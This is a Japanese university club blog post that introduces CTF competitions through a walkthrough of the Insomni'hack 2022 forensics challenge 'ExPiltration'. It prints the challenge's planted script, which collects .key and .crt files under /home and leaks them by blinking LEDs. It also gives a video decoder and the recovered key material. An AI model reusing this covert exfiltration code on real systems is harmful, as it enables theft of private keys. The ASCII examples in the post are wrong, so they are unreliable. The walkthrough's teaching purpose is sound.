feature image

2022年3月18日 | ブログ記事

CTF をやってみよう!

新歓ブログリレー10日目の記事です。

こんにちは、CTF班所属のあんこです。この記事では、CTF の問題をどうやって解くのか、実際に解いていく過程を見ながらCTFの楽しさを味わってもらいたいなと思います。

CTFとは何なのかについては以下の記事を読むと良いでしょう。

https://trap.jp/post/976/

CTF について知らない人が多いと思うので最初の紹介ではこの記事を引用します。

Capture The Flag とは

Capture The Flag、縮めて CTF とは、サイバーセキュリティに関する競技の一つです。

サイバーセキュリティとはサイバーなセキュリティなことで、つまり インターネットやパソコンにまつわる様々な事物に伴う危険因子を未然に防いだりする分野 のことです。最も身近に感じることが出来る例としては、定期的に注意喚起がなされるパスワードの使い回しだとか、今見てるウェブサイトのアドレスバーに表示されてたりする鍵マーク(HTTPS)だとか、パソコンに入れるよう言われているアンチウイルスソフトだとか、そういうことを取り扱っているのがサイバーセキュリティです。

HTTPSを表す図

繰り返しになりますが CTF はこのサイバーセキュリティに関する競技で、目的としてはセキュリティ意識の向上や、セキュリティ技術の習得などが挙げられます。つまりいわゆる 「良いハッカー」 のための競技ですね。

そんな CTF という競技では実際に何が行われているかと言うと……

サーバを攻撃するCTF参加者の図

悪いハッカーになるための練習をします。

「お前は何を言っているんだ」と思うかもしれませんが、 悪いハッカーの視点や攻撃手法を学ぶ ことで、それらが通用しないシステムを作ったり、悪いハッカーより先にバグを見つけて潰しておいたりなど、 最終的には自分たちのシステムを守るため に行っています。敵を知り己を知れば百戦殆うからず、ということですね。

そういうことで、CTF の競技では運営者が予め「攻撃対象となるサービス/プログラム/ファイル」を用意しておき、参加者がそれを解析したりして情報を盗み取る、ということが行われます。一般的な Jeopardy(ジョパディ)方式では、運営者が各システムに「フラグ」と呼ばれる特定の秘密の文字列を埋め込んでおき、参加者はそのフラグを入手して運営者に提出することでスコアを得ます。つまるところ めっちゃ技術を結集した宝探しゲーム です。ネットゲームがタダでやれてサイバーセキュリティの力まで身につくなんて、案外お得なゲーム[^first]ですね。

CTFが提供する成功体験の図

注意すべきこととして、あくまでこれは CTF という競技だから攻撃が許可されているだけで、 一般のサービス/プログラム/ファイルに攻撃を仕掛ける行為は法律違反となる可能性があります 。十分気をつけましょう。

一般のサービス/プログラム/ファイルの脆弱性を調査する、という目的で攻撃を仕掛ける人は存在します。例えばバグバウンティという、バグを見つければ報酬金が得られる、という制度などがあったりします。が、これらは十分セキュリティに精通した人でないとうっかり個人情報をゴニョゴニョしちゃうことがあるため、十分注意して行う必要があります。

問題を解く前に

今回はtraPのCTFチームが実際に参加して面白いなと思った問題を紹介します。
若干難易度が高いと思いますが、手を取ってご案内するので安心してください。

さて問題を解く前に答えとなるフラグがどんなものなのか知っておく必要があります。

フラグは CPCTF{Welcome_to_the_CTF_World} のような途中がカッコで囲われた文字列で表されます。とりあえずこんな感じの文字列を見つけたらフラグだと思ってください。

[Forensics] ExPiltration (Insomni'hack teaser 2022 より)

今回紹介する問題は Forensics という分野で大量のデータから必要なデータを見つけ出すという問題です。

問題文は大体こんな感じです。

ケヴィンより
やばい...。内部ネットワークに侵入されて、エアゲート装置に保存されていたデータが盗まれてしまいました。しかしどうやってデータを抜き取られたのかは正確に分かっていません。サーバールームでは24時間365日監視しているのですが、誰もそのデバイスには近づいていません。私が知っているのはこれだけです。どうか力を貸してください。

このような問題文と一緒にサーバー室のビデオ映像と何かしらのデータが貰えます。

この中にフラグが隠されています!どこにあるんでしょうか...

とりあえず動画を見てみます。1時間ほどの動画で、Raspberry Pi と呼ばれる緑色のサーバーが映し出されています。パッと見、ずっと同じものが写されているだけでそれ以上の情報がなさそうなので次のファイルを見てみます。

もう一つの方も開いてみると usr, srv, bin などのフォルダがあります。これらの名前から推測するに Linux のシステムファイル、つまりサーバーの内部データと思われます。自然に考えて、動画に映し出されているサーバーのものと考えられます。

そしてざーっとこのファイル群の中身を眺めているとこのようなソースコードが見つかります。(プログラムが読めなくても説明するので大丈夫です。)

# /usr/bin/systemupdate.py
import os
import time
import binascii

DELAY = 0.05

def init_leds():
        os.system("echo none > /sys/class/leds/led0/trigger")
        os.system("echo none > /sys/class/leds/led1/trigger")

def restore_leds():
        os.system("echo mmc0 > /sys/class/leds/led0/trigger")
        os.system("echo default-on > /sys/class/leds/led1/trigger")

def text_to_bits(text, encoding='utf-8', errors='surrogatepass'):
        bits = bin(int(binascii.hexlify(text.encode(encoding, errors)), 16))[2:]
        return bits.zfill(8 * ((len(bits) + 7) // 8))

def exfiltrate(data):
        stream = text_to_bits(data)
        for b in stream:
                if b=='0':
                        os.system("echo 0 > /sys/class/leds/led0/brightness")
                else:
                        os.system("echo 1 > /sys/class/leds/led0/brightness")

                time.sleep(DELAY)
                os.system("echo 1 > /sys/class/leds/led1/brightness")
                time.sleep(DELAY)
                os.system("echo 0 > /sys/class/leds/led1/brightness")
                time.sleep(DELAY)

def find_scret_file(path):
        files = []
        for r, d, f in os.walk(path):
                for file in f:
                        if '.key' in file or '.crt' in file:
                                files.append(os.path.join(r, file))

        for f in files:
                print("[+] Secret file discovered ({0}).. starting exfiltration".format(f))
                with open(f, 'r') as h:
                        data = h.read()
                exfiltrate(data)

def main():
        init_leds()
        find_scret_file("/home")
        restore_leds()

if __name__ == '__main__':
        main()

このプログラムはざっくりどんなものかというと暗号化された通信をする為に必要な秘密のカギの情報を2つのLEDをチカチカさせて表現するというプログラムです。どうやってLチカ(LEDをチカチカ)するだけで情報を送っているかというと次のようになっています。

まずカギの情報をバイナリ、つまり01の世界に直します。アルファベットなどの文字をバイナリへ変換する方法はASCIIという規格で定められていてABCはこんな風に変換できます。

A -> 00100001
B -> 00100010
C -> 00100011
...

そしてこの0と1それぞれを次の図のようにLチカと対応させます。高い時はオンの状態、低い時はオフの状態とします。

一方がオンの時にもう一方がオフだったら0、オンだったら1というように対応させています。ちなみにこのような情報の送り方はよく使われていて、音楽のメトロノームのような役割を果たすこのLED1をクロック信号、LED0をデータ入出力信号と呼んだりします。このようにクロック信号を用いる通信は例えばHDMIやI2C通信、CPUとメモリとの通信などで使われています。

なるほどなるほど。それでは元の動画に戻ってみましょう。よくよく見てみると7分を過ぎた辺りから緑色と赤色のLEDがチカチカしていることが分かります!そしてこれはライフハックなのですがYoutubeでは一時停止している状態で ., を押すと1フレームごとに再生されます。これを使って本当にLEDが01を表しているのか観察してみてください!

これで道具は揃いました。それでは動画を見てカギの情報を復元していきましょう!
...といっても1時間の動画を1つずつ目で見ていたら日が暮れてしまいます。なのでコンピュータを使って数分で復元させてみます。今まで見てきた流れからすると、Lチカを検知し、そこから情報を取り出すようなプログラムを組めば良さそうです。ここでは OpenCV というツールを使って動画から情報を取り出してみます。

import cv2
import numpy as np
import time
import string

cap = cv2.VideoCapture("./surveillance-camera42-2022.03.19_part8.mp4")
window_name = 'frame'
delay = 1

bgrLower = np.array([100, 100, 100])
bgrUpper = np.array([250, 250, 250])

if not cap.isOpened():
    sys.exit()

frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
cap.set(cv2.CAP_PROP_POS_FRAMES, frames*11//100)

cur = True
data = []
byte = []
text = b''
distance = 0

cur_per = 0
while True:
    ret, frame = cap.read()

    if not ret:
        break
    frame = frame[540:570, 710:745]

    led0 = cv2.mean(frame[1:13, 7:18])
    led1 = cv2.mean(frame[17:33,3:18])

    green = led0[1] > 120
    red = led1[2] > 95

    distance += 1

    if cur > 0:
        if not red:
            cur = 0
    else:
        if red and distance > 6:
            cur += 1
            data.append(green)
            distance = 0

            if len(data) > 0 and len(data) % 8 == 0:
                tmp = 0
                for i in range(len(data) - 8, len(data)):
                    tmp <<= 1
                    if data[i]:
                        tmp += 1
                    if i % 8 == 7:
                        byte.append(tmp)
                        tmp = 0
                text = bytes(byte)

    frame_Num = int(cap.get(cv2.CAP_PROP_POS_FRAMES))
    next_per = frame_Num * 100 // frames
    if cur_per < next_per:
        print(f"progress: {next_per}%")
        cur_per = next_per
        print(text)

    # cv2.imshow(window_name, frame)
    # if cv2.waitKey(delay) & 0xFF == ord('q'):
    #     break
print(text)

cv2.destroyWindow(window_name)

そしてこのコードを実行してみると...動画が解析されると共に一つ、また一つと文字が表示されていき...

ドン!

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,3DCC451E9205CCE3

nDrRqGRPQ2/ngMd3+93aVspUPtLszfEqmBMdY7FGwDOzjR4qW/TAvGutNj5BNNkM
4P1D4+3wNo0vnNCzgBw+MCS6J5Ipo7SV/Gvcg+Y0vzroOdp3q7Qw6FJP0BdCW2y5
khy6K52JwLjfLnekpBGMA/3fl3pzOgKthQqYllFLrJBeNCo8BFSn/PN80oucpBXv
V+F4aFs57dkoPwCvoB7djmLfpTRCOr0j2PeaqKrUq975nt4Ot+iXy6AURCIt7Z9m
sCxU8bwMHIwUqok/VI39UzGO5xTWp1ffrYR1jaDD6WlGSe2duPeG/zeM60E1R8nP
gZpR1zKpH8QOBuVC433glT5LXqfstPmt7MDwnTawkABvFYIElm4Guegm7NdQSPj/
jAXbZRc5Ww7pt2oFcwzW+uXBYEF2g92rxtUDW0wmgTduNASz59OnYEOr5Ly7NQnh
3V+Vcsrgc4Aowi1z6kCpvHoA4Cg7kZanpNguQ6NeXsCNr94P795ffhuRuXOPnwte
pkEpEplOFLOhJgHST/6ACoiJCc4nYuyKBoH07zJ7WHktryT/655EINwuBx5mVoye
2DykTBypxrcJedPBKxSWmAOOY0QnNMABZsOzgPR9wh/uIEw/zInkdTNN0iYpF8TX
EFY0uBjj7IzDQ10Sb9dcnFRB4AFuqOA7GOhh0U7VxZlhtT6UzSb/O+/smNwOD4IU
qj8LVnaZMVW4MmBbEKzsKOGhOvLHrfLVIBFdn5hTHamwS2H87UVXMLtFFPrFz6JC
zHbOb6I2f7gHzvJJPvB4eSMwAZw/iSpRoyJG7PwIKQsb6/GauV7Rfw==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDHDCCAoWgAwIBAgIUTIdoG+aad3eIE+iXDUKZCohVKkQwDQYJKoZIhvcNAQEL
BQAwgZ8xCzAJBgNVBAYTAkNIMQ8wDQYDVQQIDAZHZW5ldmExEDAOBgNVBAcMB1Bh
bGV4cG8xFTATBgNVBAoMDEluc29tbmknaGFjazEhMB8GA1UECwwYSU5Te0Y0ckZy
MG0kcDMzZDBmTDFnaHR9MQ4wDAYDVQQDDAVLZXZpbjEjMCEGCSqGSIb3DQEJARYU
a2V2aW5AaW5zb21uaWhhY2suY2gwHhcNMjAwMzAzMTYxOTE1WhcNMjIxMjIyMTYx
OTE1WjCBnzELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEQMA4GA1UEBwwH
UGFsZXhwbzEVMBMGA1UECgwMSW5zb21uaSdoYWNrMSEwHwYDVQQLDBhJTlN7RjRy
RnIwbSRwMzNkMGZMMWdodH0xDjAMBgNVBAMMBUtldmluMSMwIQYJKoZIhvcNAQkB
FhRrZXZpbkBpbnNvbW5paGFjay5jaDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
gYEAxx9oaesqRe4b0wLER6ppALJYrm5qrWu/uqzgy7qjpDKg5BBSl5F+Y2TgwS09
pW5tBylKr92DES19o4cm/8g1wa0iZ9BDeSvbn8g+rTLGHTgctMW2wUg/SMQ9j/G7
nyr5oMiPkJ69kz1We83RJofCK1w8QZVr7UAwDlC1rR6V1gkCAwEAAaNTMFEwHQYD
VR0OBBYEFA130/zdKufEuzcn+cCVwoO84z7iMB8GA1UdIwQYMBaAFA130/zdKufE
uzcn+cCVwoO84z7iMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEA
k0guKE9tSrNYUyeAEsXba15SV0TGg6n+QCD/Co0XvDo7D2yKEfSMnDfjMkv+39E+
U//PN4LT/R6xl2XdqQV1Rk0tFHTrHRzQps/ispaR3lC3VLkx8/KK05eSvKMr1C80
4jzMs6Qw6bT8Dj83eMfjizl3tlE997DgGpruRaOaEOE=
-----END CERTIFICATE-----

最終的にこのような文字列が出力されました!これが秘密のカギです!(ウォホホイ!!)
この中に私たちが求めるフラグがありそうなので暗号化に詳しい OpenSSL を使って人間に分かりやすい情報に表示してもらいます。

$ openssl x509 -in root-ca.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            4c:87:68:1b:e6:9a:77:77:88:13:e8:97:0d:42:99:0a:88:55:2a:44
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = CH, ST = Geneva, L = Palexpo, O = Insomni'hack, OU = INS{F4rFr0m$p33d0fL1ght}, CN = Kevin, emailAddress = kevin@insomnihack.ch
        Validity
            Not Before: Mar  3 16:19:15 2020 GMT
            Not After : Dec 22 16:19:15 2022 GMT
        Subject: C = CH, ST = Geneva, L = Palexpo, O = Insomni'hack, OU = INS{F4rFr0m$p33d0fL1ght}, CN = Kevin, emailAddress = kevin@insomnihack.ch
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (1024 bit)
                Modulus:
                    00:c7:1f:68:69:eb:2a:45:ee:1b:d3:02:c4:47:aa:
                    69:00:b2:58:ae:6e:6a:ad:6b:bf:ba:ac:e0:cb:ba:
                    a3:a4:32:a0:e4:10:52:97:91:7e:63:64:e0:c1:2d:
                    3d:a5:6e:6d:07:29:4a:af:dd:83:11:2d:7d:a3:87:
                    26:ff:c8:35:c1:ad:22:67:d0:43:79:2b:db:9f:c8:
                    3e:ad:32:c6:1d:38:1c:b4:c5:b6:c1:48:3f:48:c4:
                    3d:8f:f1:bb:9f:2a:f9:a0:c8:8f:90:9e:bd:93:3d:
                    56:7b:cd:d1:26:87:c2:2b:5c:3c:41:95:6b:ed:40:
                    30:0e:50:b5:ad:1e:95:d6:09
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                0D:77:D3:FC:DD:2A:E7:C4:BB:37:27:F9:C0:95:C2:83:BC:E3:3E:E2
            X509v3 Authority Key Identifier:
                keyid:0D:77:D3:FC:DD:2A:E7:C4:BB:37:27:F9:C0:95:C2:83:BC:E3:3E:E2

            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         93:48:2e:28:4f:6d:4a:b3:58:53:27:80:12:c5:db:6b:5e:52:
         57:44:c6:83:a9:fe:40:20:ff:0a:8d:17:bc:3a:3b:0f:6c:8a:
         11:f4:8c:9c:37:e3:32:4b:fe:df:d1:3e:53:ff:cf:37:82:d3:
         fd:1e:b1:97:65:dd:a9:05:75:46:4d:2d:14:74:eb:1d:1c:d0:
         a6:cf:e2:b2:96:91:de:50:b7:54:b9:31:f3:f2:8a:d3:97:92:
         bc:a3:2b:d4:2f:34:e2:3c:cc:b3:a4:30:e9:b4:fc:0e:3f:37:
         78:c7:e3:8b:39:77:b6:51:3d:f7:b0:e0:1a:9a:ee:45:a3:9a:
         10:e1

おっと!途中でINS{F4rFr0m$p33d0fL1ght}とフラグっぽいものが出てきました!CTFerは見逃しません!

これを提出して正解となります!

イェイ!

ちなみにこの英語っぽいけど数字や記号が入っているこのようなものをleetと言ってアルファベットを似た形の記号に置き換えています。例えばoなら0、eなら3、Sなら$というように置き換えます。このフラグはleetから直すとFarFromSpeedOfLightとなります。(LEDという光を使った通信なのにこれは光のスピードより全然遅いねという皮肉った文ですね)

現実世界で実際にこのような秘密のカギが外に流出してしまうと通信がのぞき見し放題だったり、このサーバーになりすまして通信することができてしまいます。traPに入って開発するようになると秘密鍵をよく扱うようになると思いますが、このような理由からぜったいに外に公開しないように心掛けて下さい。僕は1回だけやらかしたことがありますw

おわりに

今回紹介した問題は比較的難易度が高く、情報量が多かったので読むだけでも難しかったと思います。ここまで読めていたらすごいと思います!

少しでも興味が湧いてきたなら実際にCTFを体験してみませんか?おすすめのCTFはいつでも開催している常設CTFの中でも CpawCTF と呼ばれるものです。日本人が主催しているので英語が読めなくても安心ですし、難易度も易しい問題から難しい問題まで多く揃っているのでCTFを楽しめると思います。また、毎週末には世界中のどこかでCTFが開催されています。CTFまとめサイトの CTFtime を見て面白そうな大会に参加してみることも良さです。

また4/23には新歓イベントとしてtraP主催のCTFと競プロが一緒になった大会 CPCTF が開催されます!いろんな面白い問題が一挙に集まっているので是非楽しんで参加してみてください!

明日は @mehm8128 くんと @yukikurage くんの記事です。お楽しみに!

(実はこの記事の中にもフラグがあります。良かったら見つけてみてね)


anko icon
この記事を書いた人
anko

21B/理学院物理学系 CTFがすきなヲタク

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2022年4月7日
traPグラフィック班の活動紹介
annin icon annin
2021年8月12日
CPCTFを支えたWebshell
mazrean icon mazrean
2022年4月5日
アーキテクチャとディレクトリ構造
mazrean icon mazrean
2022年3月29日
課題・レポートの作成、何使う?【新歓ブログリレー2022 21日目】
aya_se icon aya_se
2019年4月22日
アセンブリを読んでみよう【新歓ブログリレー2019 45日目】
eiya icon eiya
2022年4月19日
【入門】JUCEを使ってVSTプラグインを作ろう!!
kashiwade icon kashiwade
記事一覧 タグ一覧 Google アナリティクスについて